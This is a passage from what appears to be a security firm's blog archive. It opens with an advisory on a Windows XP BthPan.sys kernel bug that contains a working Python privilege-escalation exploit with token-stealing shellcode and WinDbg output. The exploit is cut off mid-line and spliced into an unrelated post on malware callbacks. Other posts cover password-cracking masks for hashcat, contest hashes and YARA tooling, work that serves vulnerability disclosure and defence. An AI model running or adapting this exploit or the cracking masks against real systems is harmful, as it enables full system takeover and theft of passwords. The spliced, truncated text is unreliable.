windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory DeviceIoControlFile = windll.ntdll.ZwDeviceIoControlFile handle = CreateFileA("\\\\.\\BthPan",0x1|0x2,0,None,0x3,0,None) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x500)),0x1000|0x2000,0x40) WriteProcessMemory(-1, 0x1, "\x90"*0x400, 0x400, byref(c_int(0))) DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x0012d814,0x1,0x258,0xffff0000,0) ``` A complete memory dump from the target computer during the blue screen of death was taken. By analyzing the context of the crash, we could see the OuputAddress (0xffff0000) had a write attempt that failed. ``` PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff0000, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 804f3b76, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) ``` The CPU registers from the TRAP_FRAME at the time of the crash show a MOVS instruction with the EDI register set to the value that we provided to the DeviceIoControlFile() function. ``` TRAP_FRAME: b1bc47b0 -- (.trap 0xffffffffb1bc47b0) ErrCode = 00000002 eax=0000006a ebx=81e05688 ecx=0000001a edx=00000001 esi=8206d538 edi=ffff0000 eip=804f3b76 esp=b1bc4824 ebp=b1bc4868 iopl=0 nv up ei pl nz na po cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010203 nt!IopCompleteRequest+0x92: 804f3b76 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ``` For more details, we've included the stack trace below: ``` STACK_TEXT: b1bc4738 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b b1bc4798 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7 b1bc4798 804f3b76 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc b1bc4868 804fdaf1 81e056c8 b1bc48b4 b1bc48a8 nt!IopCompleteRequest+0x92 b1bc48b8 80541890 00000000 00000000 00000000 nt!KiDeliverApc+0xb3 b1bc48d8 804fb4a7 8055b1c0 81e70da8 b1bc48fc nt!KiUnlockDispatcherDatabase+0xa8 b1bc48e8 80534b09 8055b1c0 81defa70 8238ffe8 nt!KeInsertQueue+0x25 b1bc48fc f83e26ec 81defa70 00000000 b1bc4928 nt!ExQueueWorkItem+0x1b b1bc490c b2a465a1 81defa68 00000000 8206d538 NDIS!NdisScheduleWorkItem+0x21 b1bc4928 b2a55544 b1bc4948 b2a5530e 81e05688 bthpan!BthpanReqAdd+0x16b b1bc4b68 b2a5562b 81e05688 00000258 8242fbc8 bthpan!IoctlDispatchDeviceControl+0x1a8 b1bc4b80 f83e94bb 8242fbc8 81e05688 824ff190 bthpan!IoctlDispatchMajor+0x93 b1bc4b98 f83e9949 8242fbc8 81e05688 824b6c08 NDIS!ndisDummyIrpHandler+0x48 b1bc4c34 804ee129 8242fbc8 81e05688 806d32d0 NDIS!ndisDeviceControlIrpHandler+0x5c b1bc4c44 80574e56 81e056f8 824ff190 81e05688 nt!IopfCallDriver+0x31 b1bc4c58 80575d11 8242fbc8 81e05688 824ff190 nt!IopSynchronousServiceTail+0x70 b1bc4d00 8056e57c 00000678 00000000 00000000 nt!IopXxxControlFile+0x5e7 b1bc4d34 8053d6d8 00000678 00000000 00000000 nt!NtDeviceIoControlFile+0x2a b1bc4d34 7c90e514 00000678 00000000 00000000 nt!KiFastCallEntry+0xf8 0021f704 7c90d28a 1d1add7a 00000678 00000000 ntdll!KiFastSystemCallRet 0021f708 1d1add7a 00000678 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc WARNING: Stack unwind information not available. Following frames may be wrong. 0021f73c 1d1aca96 1d1ac910 0021f75c 00000028 _ctypes!DllCanUnloadNow+0x5b4a 0021f76c 1d1a8db8 7c90d27e 0021f8a0 b50f9e3f _ctypes!DllCanUnloadNow+0x4866 0021f81c 1d1a959e 00001100 7c90d27e 0021f870 _ctypes!DllCanUnloadNow+0xb88 0021f984 1d1a54d8 7c90d27e 00b51978 00000000 _ctypes!DllCanUnloadNow+0x136e 0021f9dc 1e07bcec 00000000 00b51978 00000000 _ctypes+0x54d8 00000000 90909000 90909090 90909090 90909090 python27!PyObject_Call+0x4c 00000000 00000000 90909090 90909090 90909090 0x90909000 ``` By changing the TRAP_FRAME to that of the DeviceIoControlFile() function, we can pull the parameters passed to the function off of the stack. ``` 11 b29dbd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a eax=0000006a ebx=82500928 ecx=0000001a edx=00000001 esi=81d485c8 edi=ffff0000 eip=8056e57c esp=b29dbd08 ebp=b29dbd34 iopl=0 nv up ei pl nz na po cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010203 nt!NtDeviceIoControlFile+0x2a: 8056e57c 5d pop ebp kd> db [ebp+2C] L?0x4 b29dbd60 00 00 00 00 .... kd> db [ebp+28] L?0x4 b29dbd5c 00 00 ff ff .... kd> db [ebp+24] L?0x4 b29dbd58 58 02 00 00 X... kd> db [ebp+20] L?0x4 b29dbd54 01 00 00 00 .... kd> db [ebp+1C] L?0x4 b29dbd50 14 d8 12 00 .... ``` The values shown above translate to: ``` NtDeviceIoControlFile(hValue, 0, 0, 0, 0x0012d814, 0x1, 0x258, 0xffff0000, 0x0); ``` By changing a few lines in the example code (see diff below), we can show that it is possible to overwrite kernel memory by abusing this IOCTL. Output from a Local Kernel Debugger attached to the target computer: ``` Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0 Debug session time: Fri Aug 15 11:10:02.521 2014 (UTC - 7:00) System Uptime: 0 days 0:46:37.640 kd> db 0x8054593c L?0x4 8054593c cc cc cc cc ``` The DWORD at 0x8054593c is the memory address for the first entry within the HalDispatchTable. This entry corresponds to the ntdll!NtQueryIntervalProfile() function found below, which issues a CALL instruction on the pointer found within the EDX CPU register. ``` ntdll!ZwQueryIntervalProfile: 7c90d83e b89e000000 mov eax,9Eh 7c90d843 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300) 7c90d848 ff12 call dword ptr [edx] 7c90d84a c20800 ret 8 7c90d84d 90 nop ``` The following code will allow the CPU EIP register to become attacker-controlled: ``` from ctypes import * from struct import pack from os import getpid,system from sys import exit EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them :) def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None handle = CreateFileA("\\\\.\\BthPan",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) buf = "\xcc\xcc\xcc\xcc"+"\x90"*(0x400-0x4) WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0))) kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x0012d814,0x1,0x258,HalDispatchTable,0) CloseHandle(handle) NtQueryIntervalProfile(c_ulong(2),byref(c_ulong())) ``` When reviewing the memory dump generated from the code shown above, the debugger will display EIP control. ``` TRAP_FRAME: b1b0cc8c -- (.trap 0xffffffffb1b0cc8c) ErrCode = 00000010 eax=b1b0cd14 ebx=8060ea01 ecx=00000000 edx=0021f7f0 esi=00cf3058 edi=b1b0cd64 eip=cccccccc esp=b1b0cd00 ebp=b1b0cd20 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 cccccccc ?? ??? ``` By adding shellcode designed to steal the Token from the SYSTEM process (PID=4) and replace the Token of the exploit process, an attacker can elevate his/her privilege level. ``` # Microsoft BthPan.sys Privilege Escalation # Write-What-Where # XP SP3 # # Matt Bergin (KoreLogic / Smash the Stack) # from ctypes import * from struct import pack from os import getpid,system from sys import exit EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them :) def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None handle = CreateFileA("\\\\.\\BthPan",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) print "[+] Handle \\\\.\\BthPan @ %s" % (handle) tokenSwap = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x44\x50\xBB\x04\x00\x00\x00\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x39\x98\x84\x00\x00\x00\x75\xED\x8B\xB8\xC8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x39\x98\x84\x00\x00\x00\x75\xED\x89\xB8\xC8\x00\x00\x00\x61\xC3" tokenSwap = tokenSwap.replace("\x41\x41\x41\x41",pack('), which defines the characteristics of a GUI window within a program. When called, RegisterClass is passed a structure named [WNDCLASS](). Within the WNDCLASS structure is a pointer to a callback function [WindowProc](). This function is a user-defined procedure that processes messages sent to the window by the operating system. A benign example WindowProc can be found [here](). Malware will often set up their own malicious callback functions and pass them to APIs. When the API function is called, the callback function is executed and the malicious code is run. Malicious callback functions have been seen to, amongst other things, unpack and/or decrypt code, redirect execution, deobfuscate strings, or perform anti-debugging techniques. There are generally two ways to detect malicious callback functions in malware: - Watch for calls by the malware to known Windows APIs that utilize callbacks. These include RegisterClass, [DialogBox](), [waveOutOpen](), and others. Remember that the actual callback function address may be buried in an object or set up prior to the API call, as with WNDCLASS and RegisterClass. - Look for functions being passed as parameters to API calls. Depending on the disassembler or debugger you are using and the amount of obfuscation the malware has gone through, these may appear as names or addresses. Keep in mind that when debugging malware that use malicious callback functions, a breakpoint will have to be placed on the callback function itself, and not the Windows API that uses it (unless you want to waste time stepping into the API). Stepping over the API call may result in the malicious callback function being executed without the analyst being able to debug the malicious code. ### Trojan Downloader [Image](/blog/2014/05/27/callback-functions-in-malware/callback-register.png) The first example is from a downloader that came in through malicious spam (MD5: 28d4a53893aba210fed7600cc759cbcd). After initializing memory, the malware calls [ DialogBoxParamW](), which creates a dialog box. One of the parameters, lpDialogFunc, is a [ DialogProc callback function]() that is used to process messages sent to the dialog box. Messages let the dialog box know when something happens to it, such as as when a button is pressed or when the box is closed. As soon as DialogBoxParamW executes, DialogProc begins receiving messages to process. This malicious callback function is fairly simplistic. It compares the uMsg parameter, which contains the type of message being processed, against a list of known values. If the message is [WM_COMMAND]() (0x111), the malware will load an address into a global variable (renamed mal_code in IDA Pro). This address contains additional code that continues execution of the malware and is called after the return from DialogBoxParamW. Image Due to the function of the callback function - to set up the address to jump to later - there is no need to put a breakpoint on the callback function entry point. The call to DialogBoxParamW can be stepped over and a breakpoint can be set on the call to mal_code set, or on the first instruction in mal_code itself. Analysis can then continue on the rest of the malware execution. ### Upatre Downloader [Image](/blog/2014/05/27/callback-functions-in-malware/callback-register.png) The second example is from an Upatre downloader (MD5: e49e7b907499c8b4e31447eaffd112b1) that was also distributed through malicious spam and utilizes callback functions. In this case, the malware uses [ CreateWindowEx]() to create an invisible window. (The window is invisible because [ ShowWindow]() is never called, and WS_VISIBLE is not given to the function as a window style.) One of the parameters to CreateWindowEx is lpClassName, which is the name of a Window class used to define the window's features. For this sample, the class name is "cligas", and was previously registered in a call to [ RegisterClassEx](). RegisterClassEx receives a pointer to a [ WNDCLASSEX]() structure, which among other things, contains a callback function that handles messages sent to the window. The callback function implemented by this malware is a bit more complicated than the previous one examined, so we'll look at it in pieces. When the callback function is called, it examines the uMsg parameter which contains the message sent to the window, and will perform do different things depending on the message received. - [WM_CREATE]() (0x1): The window receives this after it is created but is not yet visible. In this case, the callback function will create three hidden child windows. The first and third windows are edit controls, but the second window is a [RichEdit control]() that contains lines of text used by the malware later. The creation of these windows also generate WM_PARENTNOTIFY messages to itself. - [WM_DESTROY]() (0x2): This is received when the window is being destroyed. When this is received, the function exits gracefully. - [WM_PARENTNOTIFY]() (0x210): The WM_PARENTNOTIFY message is received when a window's child windows are created or destroyed. In our sample, this is where the malware begins the majority of its work. - Any other message the window receives calls [DefWindowProc](), the API that handles all default processing. When the WM_PARENTNOTIFY message is received, the callback function checks to see if all three child windows have been created by decrementing a global value. Once all three have been created, the callback function calls another function, which begins the decoding process for the malware. Image Note that once the malware begins to process the WM_PARENTNOTIFY messages and calls the decoding function, it never returns. Therefore, in order to debug the malware, a breakpoint has to be set on the callback function. If the call to CreateWindowEx were stepped over, the malware would execute without intervention. ### Summary Callback functions normally used by the Windows API to handle program operations are used by malware to redirect the flow of execution and increase analysis difficulty. The two examples examined in this post only represent a small percentage of what and how malware uses malicious callback functions. However, by understanding the purpose of callback functions, and how to find and analyze them, analysts will be better prepared when they come across malware samples that use them. --- ## MASTIFF Updates and Git SSL Issue URL: https://korelogic.com/blog/2014/04/17/mastiff-updates-and-git-ssl-issue/ A MASTIFF development update covering recent repository changes, SSL access notes, and a major change to the analysis plug-in architecture. Published: 2014-04-17 Author: Tyler Category: Tools & Frameworks Tags: tools, forensics Over the last few weeks, a number of updates have been pushed to the dev version of MASTIFF located in the [Git repository](https://github.com/KoreLogicSecurity/mastiff). One of these updates is a major change to the analysis plug-in architecture. The updates are described below. ### MASTIFF Updates A number of MASTIFF updates have been added to the code; most of which are bug fixes or minor modifications. However, a large change was recently made to the way the framework installs and finds analysis plug-ins. Previously, after installation, the user would need to set the _plugin_dir_ configuration option to point to the directory containing the analysis plug-ins. If they did not, MASTIFF would not know where the analysis plug-ins were and would not provide any analysis until the option was set correctly. This was a point of confusion for a number of new users. This has been changed. Now, analysis plug-ins are installed with the framework and will automatically be found. In other words, after you type _make install_, MASTIFF know where the analysis plug-ins are and will start providing analysis right away. The _plugin_dir_ option still exists and can be used to point to your own analysis plug-ins that are not included with the base installation. As always, if you have any patches, updates, or plug-ins you want included in the framework, please submit them to mastiff-project@korelogic.com. --- ## Mini-Crack Me If You Can for ISSW 2014 URL: https://korelogic.com/blog/2014/04/07/mini-crack-me-if-you-can-for-issw-2014/ KoreLogic ran a mini Crack Me If You Can password cracking contest for ISSW 2014 attendees, with a gift card prize for participants. Published: 2014-04-07 Author: Rick Category: Contests & Events Tags: passwords, contests This weekend at [Infosec SouthWest 2014](http://2014.infosecsouthwest.com/) KoreLogic's Crack Me If You Can (CMIYC) team ran a mini-CMIYC contest for the people attending the conference. The prize was a $100 dollar gift card. We made the challenge pretty simple, with 1-2 hashes that were a little bit harder. The winner was [Scot Perkins](https://twitter.com/ScotPerkins). Congratulations to the winner! Here are the hashes we posted if you want to play along after the fact: ``` f8eae6750519389e078e1eb1bcb3d708 a116e0da2dbfb0d8278815c1737e8b55 8a7382357432871c8da703458344e174 192458c54e260d7fd6a389e8a9f7b232 1c06c89d20124ea7c8eed7589a1f1138 0df6232ee01b261559285418dd99f6ec 742857f57dddb7149f35e217c415c07d d72d9a4fe9dfb9165d2aa5880c45a4f3 43b651178f811bf441e2b3da9ff2317b 460491609830c9266bce6e4d053b3e0a 2cb154a413ae25ed55d146f83d065eb4 7afc2c69fd4fde6ff5efa30bf7f5652a cf94300290735f312e51875ac77458d1 2cdf9cef34dfd415f62f1941c993c3a3 1c06c89d20124ea7c8eed7589a1f1138 167e266e432165b57b75bb96619d3da0 ``` --- ## PathWell Topologies URL: https://korelogic.com/blog/2014/04/04/pathwell-topologies/ PathWell identifies and blocks common passwords by modeling password topologies and learned user behavior from the DARPA Cyber Fast Track project. Published: 2014-04-04 Author: Rick Category: Password Security Tags: passwords, networking As previously discussed at multiple conference and in this blog, KoreLogic worked on the PathWell project for the DARPA Cyber Fast Track program. PathWell identifies and blocks common passwords based upon common password topologies and learned user behavior. [ Watch a presentation on PathWell](https://www.youtube.com/watch?feature=player_detailpage&v=KIGhA4_7dtw#t=27003), or download [the slides here](/presentations/bsidesavl-pathwell-2014-06.pdf). The PathWell software is not yet public, but people have frequently asked us to publish the list of the most popular topologies within enterprises that we compiled during that research. So, that is what we are doing today. The topologies listed below are not based on public password leaks, but instead on sanitized, merged real data from environments that are known to enforce password complexity. If you create your own topologies based off the common "RockYou" word list, yours will look different. In an enterprise environment, users are forced to follow password policy with concern to length, makeup, etc. Password expiration is almost always enforced as well. But as previously mentioned by KoreLogic, these policies actually introduce vulnerabilities. By using password topologies in your cracking program, you can abuse the human nature aspect of password creation. These topologies can easily be plugged into a password cracking program such as [HashCat](http://hashcat.net/hashcat/) or [oclHashcat](http://hashcat.net/oclhashcat/). As a test, take the first 100 topologies listed below, and run them against your password hashes from a corporate environment. Without ever supplying a wordlist, or ruleset, you might able to crack anywhere from 60% to 90% of all user passwords. Depending on your users and your specific policies, of course. This data is based on a decade of password hash collection and cracking in corporate environments. We also use these topologies as part of our [PRS (Password Recovery Service)](/services/password-audits-and-recovery/). This is in addition to years of research into word selection, rule generation, etc. Enough talk, here are the first 100 topologies, in order of likelihood of success across a variety of different enterprise networks. This is obviously just a sample of all topologies we have discovered over time. But it's a great start. ``` ?u?l?l?l?l?l?d?d ?u?l?l?l?l?l?l?d?d ?u?l?l?l?d?d?d?d ?l?l?l?l?l?l?l?d ?u?l?l?l?l?l?l?l?d?d ?u?l?l?l?l?l?l?d ?u?l?l?l?l?l?d?d?d?d ?u?l?l?l?l?d?d?d?d ?l?l?l?l?l?l?d?d ?u?l?l?l?l?l?l?l?d ?u?l?l?l?l?d?d?d ?u?l?l?d?d?d?d?s ?l?l?l?l?l?l?l?l ?u?l?l?l?l?l?d?d?d ?l?l?l?l?l?l?l?d?d ?l?l?s?d?d?l?d?d?l ?l?l?l?l?l?l?l?l?d ?u?l?l?l?l?l?d?d?s ?u?l?l?l?l?l?l?d?d?d?d ?u?l?l?l?l?l?l?l?l?d?d ?u?l?l?l?l?l?d?s ?u?l?l?l?l?l?l?l?l?d ?u?l?l?l?l?l?d?d?d?d?s ?l?l?l?l?l?l?l?l?l ?l?l?l?l?l?l?l?l?d?d ?u?l?l?l?l?l?l?d?d?d ?l?l?l?l?l?d?d?d ?u?l?l?l?d?d?d?d?s ?u?l?l?l?l?l?l?l?d?d?d?d ?u?l?l?l?l?l?s?d?d ?u?u?u?u?u?u?d?l ?l?l?l?l?d?d?d?d ?d?d?u?l?l?l?l?l?l?l ?u?l?l?s?d?d?d?d ?u?l?l?l?l?d?d?s ?u?l?l?l?l?l?l?d?s ?d?d?u?l?l?l?l?l?l ?l?l?l?l?s?d?d?d ?l?l?l?l?l?l?l?l?l?d ?l?l?l?l?l?d?d?d?d ?l?l?l?l?l?l?l?l?l?l ?l?l?l?l?l?l?d?d?d ?u?l?l?l?l?l?l?l?l?l?d?d ?u?l?l?l?l?l?l?l?l?l?d ?d?d?d?d?d?d?u?l ?u?l?l?l?l?l?l?l?d?d?d ?u?l?l?l?l?l?l?d?d?s ?u?u?u?u?u?u?d?s ?u?u?d?l?l?l?d?d?d?u ?u?l?l?l?l?s?d?d ?u?l?l?l?l?l?s?d ?l?l?l?s?d?d?d?d ?l?l?l?l?l?l?d?d?d?d ?u?l?l?l?l?l?l?l?d?d?s ?d?d?u?l?l?l?l?l ?u?l?l?l?l?l?l?l?d?s ?u?l?l?l?l?d?d?d?s ?u?l?l?l?l?d?d?d?d?s ?u?l?l?l?s?d?d?d?d ?u?l?l?l?l?s?d?d?d ?u?l?l?l?l?l?l?d?d?d?d?s ?u?l?l?l?d?d?d?s ?l?l?l?l?s?d?d?d?d ?l?l?l?l?l?l?s?d?d ?l?l?l?l?l?l?d?d?s ?d?d?d?d?u?l?l?l ?d?d?d?d?d?d?d?d ?u?l?l?l?l?l?l?s?d ?u?l?d?d?d?d?d?d ?l?l?l?l?l?l?s?d ?u?d?l?l?l?l?l?l?l?d ?l?l?l?l?l?l?l?l?l?l?l ?l?l?l?l?l?l?l?l?l?l?d ?l?l?l?l?l?d?d?s ?l?l?l?l?d?d?d?s ?u?l?l?l?l?l?l?l?l?d?d?d?d ?u?u?u?u?u?u?u?u ?u?l?l?l?s?d?d?d ?u?l?l?l?l?l?l?s?d?d ?u?l?l?l?l?l?d?d?d?s ?l?l?l?l?l?s?d?d ?u?l?l?l?l?s?d?d?d?d ?u?l?l?l?d?d?d?d?d ?u?l?l?d?d?d?d?d?d ?u?l?l?d?d?d?d?d ?l?l?l?l?l?l?l?l?l?d?d ?l?l?l?l?l?l?l?d?d?s ?l?l?l?l?l?l?l?d?d?d ?l?l?l?l?l?l?d?s ?l?l?l?d?d?d?d?s ?u?u?u?l?l?l?d?d?d?d ?u?l?l?l?l?l?s?d?d?d ?u?l?l?l?l?l?l?l?s?d ?l?l?l?l?l?l?l?l?s?d ?l?l?l?l?l?l?l?d?d?d?d ?u?l?l?l?l?l?s?d?d?d?d ?l?l?l?l?l?l?l?d?s ?l?l?l?l?d?d?d?d?s ?d?d?d?d?u?l?l?l?l ?u?u?d?l?l?l?d?d?d?d ``` --- ## MASTIFF in KoreLogic Git Repository URL: https://korelogic.com/blog/2014/03/25/mastiff-in-korelogic-git-repository/ KoreLogic moved MASTIFF development into a public Git repository so users can access and clone newer development versions. Published: 2014-03-25 Author: Tyler Category: Tools & Frameworks Tags: tools In order to make new development versions of MASTIFF available to the masses, KoreLogic has put MASTIFF in a GitHub repo. This repository can be accessed at [https://github.com/KoreLogicSecurity/mastiff](https://github.com/KoreLogicSecurity/mastiff) or the repository can be cloned with: ``` git clone https://github.com/KoreLogicSecurity/mastiff ``` Release tarballs can be downloaded from GitHub. The code signing key is available [here](https://github.com/KoreLogicSecurity/mastiff). All releases are PGP-signed using the above project key. This repository contains branches for public release versions, and the current development code. All git commits are PGP-signed by a key available from MIT PGP keyservers, signed by the above project key. Please submit comments, feedback, and bug reports to the above contact address, mastiff-project@korelogic.com. Please PGP-encrypt anything sensitive. Improvements such as new plugins, bug fixes, etc can be submitted in multiple ways: 1. Obtain the source code: - from a release tarball, - or by cloning the git repository; 2. Create and send us changes: - create a patch using diff -urP, git format-patch, etc, and email the patch to mastiff-project@korelogic.com, or - put your modified code in a git repository that we can access (such as GitHub, your own server, etc), and send us a pull request. Please PGP sign all patches and correspondence if possible. --- ## ShmooCon Epilogue Prologue: PathWell URL: https://korelogic.com/blog/2014/01/09/shmoocon-epilogue-prologue-pathwell/ Preview of a ShmooCon Epilogue talk on PathWell, KoreLogic password topology research, and dynamic password-strength enforcement. Published: 2014-01-09 Author: Hank Category: Password Security Tags: vulnerability-research, passwords On January 20, I will be giving a talk at [ShmooCon Epilogue](http://novahackers.blogspot.com/p/shmoo.html) on PathWell, a project we did last summer. Epilogue is a great event and is much easier to get tickets for than ShmooCon, and I highly recommend it. (And I said that before they accepted my talk ;) Over the past couple of years, we - mostly my coworker Rick Redman (Minga) - have given many talks about how enterprise password strength enforcement rules, as currently implemented, are broken and harmful. They make enterprise passwords easy to crack. The only thing worse than having them is not having them. PathWell ("Password Topology Histogram Wear-Leveling") introduces a new dimension for measuring and enforcing enterprise password strength that attempts to take away from the attacker the advantages that they currently have when cracking (or even just flat-out guessing blindly) an enterprise's passwords. My Epilogue talk will be recorded, and we will be publishing slides, white papers, etc. But, in the first 15 minutes of my talk I try to fly over the ground that Rick has covered in multiple hour-long talks. If you are interested in the topic of password cracking as an attacker, or in the topic of my talk - how enterprises can defend themselves better - then you should watch one of his past talks first, such as ["Why Your Password Policy Sucks" at Passwords13](http://www.youtube.com/watch?v=5i_Im6JntPQ) or ["Exploiting Password Policy Weaknesses" at DerbyCon 3](http://www.youtube.com/watch?v=qR-qRUbeKAo). PathWell takes the techniques that have been the most successful for attackers in the last few years, and turns them around to become new ways to enforce password strength, making passwords several orders of magnitude harder to crack for a given password length and hash type. More at/after my talk :) --- ## Converting IDA PAT to Yara Signatures URL: https://korelogic.com/blog/2013/11/15/converting-ida-pat-to-yara-signatures/ A technique for converting IDA pattern files into YARA signatures to help identify library code in stripped, statically linked Linux malware. Published: 2013-11-15 Author: Tyler Category: Security Research Tags: tools, forensics, iot One of the issues when analyzing malicious Linux executables occurs when the executable has been statically linked and the debugging symbols stripped. Since the debugging symbols are stripped, IDA Pro is unable to identify the names of the library functions and we are left to determine the names on our own, or load and/or create the appropriate IDA signatures to identify the functions. To do this, we need to know which libraries were used during compilation, and possibly the OS (Linux distribution name and version) it was compiled on as well. The embedded strings of a file can often give you clues to this information. Once you determine the library that was used, the IDA Pro FLAIR tools can be used to create signatures of the library for use in IDA. The process to create signatures using FLAIR is pretty simple: 1. Create a pattern file (PAT) using the FLAIR pattern creation tools (pcf, pelf, etc). 2. Run _sigmake_ to create the SIG file. 3. Copy the resulting SIG file to your IDA Pro sig/ directory. The signature can then be loaded in IDA Pro, and IDA should recognize the functions from the library. However, this process hinges on knowing the exact library and version that was used. If strings analysis doesn't give you that information, it would need to be found through another method. In my research, I found a program named [rsymtab](http://reverse.lostrealm.com/tools/rsymtab.html) that can be used to find library functions in a statically linked executable. Unfortunately, I found that rsymtab wasn't 100% reliable and would miss some functions that I knew were present. No tool is perfect, but I wanted to see if I could find a better way. This led me back to IDA Pro and FLAIR. The FLAIR pattern generation tools create a PAT file which contains a signature for each function within a library. We can use this pattern to detect functions in files and to determine which libraries an executable was statically compiled against. To do this, I decided to use [Yara](http://code.google.com/p/yara-project/), a tool specifically designed to detect text or binary patterns in files. To facilitate a conversion from the PAT file to Yara signatures, I wrote the pat2yara.py Python script. The script reads in a PAT file generated by the FLAIR tools, extracts each pattern, and turns them into Yara signatures. To make function identification easier, it also has the ability to add the OS and library name to the Yara rule. ``` $ python pat2yara.py -h usage: pat2yara.py [-h] [-o OS] [-s] [-l LIBNAME] [-p] PAT_file Convert Flair PAT file to Yara sigs. positional arguments: PAT_file PAT file to convert to Yara sigs. optional arguments: -h, --help show this help message and exit -o OS, --os OS OS the library came from. -s, --prepend-os Prepend OS to Yara rule name. -l LIBNAME, --libname LIBNAME Library the PAT file is from. -p, --prepend-lib Prepend LIBNAME to Yara rule name. ``` _NOTE: In order to use this, you must have a licensed copy of IDA Pro with the FLAIR tools. To my knowledge, the FLAIR tools can only be downloaded if you have a current support contract._ The script is run as follows to create Yara signatures for glibc-2.3.5 from a PAT file. ``` $ python pat2yara.py -o "Fedora Core 4" -l "glibc-2.3.5-10" -s -p libc.pat > libc.yar $ head libc.yar rule FedoraCore4_glibc23510__vhangup { meta: os = "Fedora Core 4" library = "glibc-2.3.5-10" strings: $pattern = { 89 DA 8B 5C 24 04 B8 6F 00 00 00 CD 80 89 D3 3D 01 F0 FF FF 0F 83 ?? ?? ?? ?? C3 } condition: $pattern } ``` Utilizing Yara allows us to quickly determine which libraries and versions were used in a statically compiled program. Some work still needs to be performed beforehand by downloading the libraries and creating the IDA and Yara signatures. However, the Yara signatures can be used in our static analysis of the executable (_cough_ [MASTIFF](http://sourceforge.net/projects/mastiff/) _cough_) to quickly determine what libraries and OS were used during the compilation process. For example, I created two Yara signature files for the libc and libcrypt libraries that originated from the Fedora Core 4 glibc-2.3.5-10 RPM. ``` $ ls -l libc.yar libcrypt.yar -rw-r--r-- 1 tyler tyler 1429 Nov 11 13:42 libcrypt.yar -rw-r--r-- 1 tyler tyler 291597 Nov 11 13:42 libc.yar $ grep rule libcrypt.yar | wc -l 5 $ grep rule libc.yar | wc -l 1149 ``` When the Yara signatures are run against a malicious executable, we can see that libc was used during compilation, but libcrypt was not. ``` $ yara libc.yar badexe | wc 